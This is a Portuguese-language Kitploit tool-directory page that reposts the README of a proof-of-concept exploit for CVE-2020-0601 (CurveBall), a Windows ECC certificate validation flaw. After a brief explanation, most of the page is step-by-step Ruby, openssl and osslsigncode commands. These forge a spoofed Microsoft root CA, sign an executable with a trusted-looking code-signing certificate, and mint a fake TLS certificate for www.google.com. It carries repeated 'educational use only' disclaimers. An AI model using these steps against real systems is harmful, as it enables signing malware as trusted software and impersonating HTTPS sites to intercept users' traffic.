Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
-CVE-2020-0601-ECC---EXPLOIT — CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, ou comumente referida como CurveBall, é uma vulnerabilidade na qual a assinatura de certificados que utilizam criptografia de curva elíptica (ECC) não é verificada corretamente. Atacantes podem fornecer geradores artesanais, contornando a validação, o antivírus e todas as não-proteções. | Kitploit
Ferramentas/GitHubGitHub/iiictech/-cve-2020-0601-ecc---exploit
Análise de VulnerabilidadesAnálise de CódigoExploraçãoCriptografiaAprendizado e EducaçãoExploração de Binários
GitHubiiictech/-cve-2020-0601-ecc---exploit

-CVE-2020-0601-ECC---EXPLOIT

Ver Repositório
321há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, ou comumente referida como CurveBall, é uma vulnerabilidade na qual a assinatura de certificados que utilizam criptografia de curva elíptica (ECC) não é verificada corretamente. Atacantes podem fornecer geradores artesanais, contornando a validação, o antivírus e todas as não-proteções.

Compartilhar

CurveBall (CVE-2020-0601) - EXPLOIT ECC/Po2

CVE-2020-0601, comumente chamada de CurveBall, é uma vulnerabilidade na qual a assinatura de certificados que usam criptografia de curva elíptica (ECC) não é verificada corretamente.

A ECC depende de diferentes parâmetros. Parâmetros padronizados são usados para muitas curvas. No entanto, a Microsoft não verificou todos esses parâmetros, como os gênios que são... O parâmetro G (o gerador) NÃO foi verificado, e um invasor pode, portanto, fornecer um gerador artesanal. Assim, quando a Microsoft tenta validar o certificado em relação a uma AC confiável, ela procura apenas chaves públicas correspondentes e, então, bum, usará o gerador do certificado.

A NSA explica claramente o impacto devastador desta vulnerabilidade e mais aqui. Aperte os cintos e mãos à obra!

O MicrosoftECCProductRootCertificateAuthority.cer é, por padrão, uma autoridade certificadora raiz confiável (AC) usando ECC no Windows 10. Qualquer coisa assinada com este certificado será automaticamente confiável.

Que fique dito: "Eles estão sempre observando..." então Por favor, use isso apenas para fins educacionais e de pesquisa.

Requisitos mínimos openssl 1.1.0 ruby 2.4.0

Detalhes matemáticos

Se você estiver interessado nos detalhes matemáticos da vulnerabilidade, leia mais aqui.

Para falsificar o certificado, defina os seguintes parâmetros:

root@kitploit:~
d' = 1
G' = Q

De modo que Q = Q' = d'G'.

Uso

Crie um certificado com a mesma chave pública e parâmetros de uma AC confiável. Este será usado como nossa AC falsificada. Defina o gerador para um valor onde você conheça a chave privada. Você pode facilmente definir o gerador como a chave pública e ter uma chave privada definida como 1, já que Q = dG.

Em seguida, crie uma solicitação de assinatura de certificado com as extensões que deseja usar, por exemplo, assinatura de código ou autenticação de servidor.

Assine esta solicitação de certificado com sua AC falsificada e chave da AC, e adicione as extensões de uso.

Empacote a solicitação de certificado assinada (agora um certificado regular) com a AC falsificada, e você terá um certificado assinado e confiável.

Quando o Windows verificar se o certificado é confiável, ele verá que foi assinado por nossa AC falsificada. Então, ele analisa a chave pública da AC falsificada para comparar com as ACs confiáveis. Em seguida, simplesmente verifica a assinatura de nossa AC falsificada com o gerador da AC falsificada - este é o problema.

Se você optar por abrir seu novo certificado assinado e confiável no Windows, ele não o reconhecerá como confiável, pois não foi vinculado a nada, portanto, não usará a AC falsificada. O certificado deve sempre se apresentar com a AC falsificada.

Assinatura de Código

Por favor, use isso apenas para fins educacionais e de pesquisa.

Extraia a chave pública da AC e modifique-a de acordo com a vulnerabilidade:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Gere um novo certificado x509 baseado nesta chave. Este será nossa própria AC falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Gere uma nova chave. Esta chave pode ser de qualquer tipo que você desejar. Ela será usada para criar um certificado de assinatura de código, que assinaremos com nossa própria AC.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Esta solicitação geralmente é enviada para ACs confiáveis, mas como temos uma falsificada, podemos assiná-la nós mesmos.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Assine sua nova CSR com nossa AC falsificada e chave da AC. Este certificado expirará em 2047, enquanto a AC confiável real da Microsoft expirará em 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

A única coisa restante é empacotar o certificado, sua chave e a AC falsificada em um arquivo PKCS12 para assinar executáveis.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Assine seu executável com o arquivo PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

Por favor, use isso apenas para fins educacionais e de pesquisa. Extraia a chave pública da AC e modifique-a de acordo com a vulnerabilidade:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Gere um novo certificado x509 baseado nesta chave. Este será nossa própria AC falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Gere uma nova chave. Esta chave pode ser de qualquer tipo que você desejar. Ela será usada para criar um certificado SSL, que assinaremos com nossa própria AC.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Esta solicitação geralmente é enviada para ACs confiáveis, mas como temos uma falsificada, podemos assiná-la nós mesmos.

Se desejar alterar o nome de domínio, edite CN = www.google.com para CN = www.example.com dentro de openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Assine sua nova CSR com nossa AC falsificada e chave da AC. Este certificado expirará em 2047, enquanto a AC confiável real da Microsoft expirará em 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Agora você pode usar cert.crt, cert.key e spoofed_ca.crt para servir seu conteúdo. Novamente, lembre-se de adicionar o spoofed_ca.crt como uma cadeia de certificados na configuração HTTPS do seu servidor.

Veja o exemplo de uso em [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).

Por favor, use isso apenas para fins educacionais e de pesquisa.

Baixar ferramenta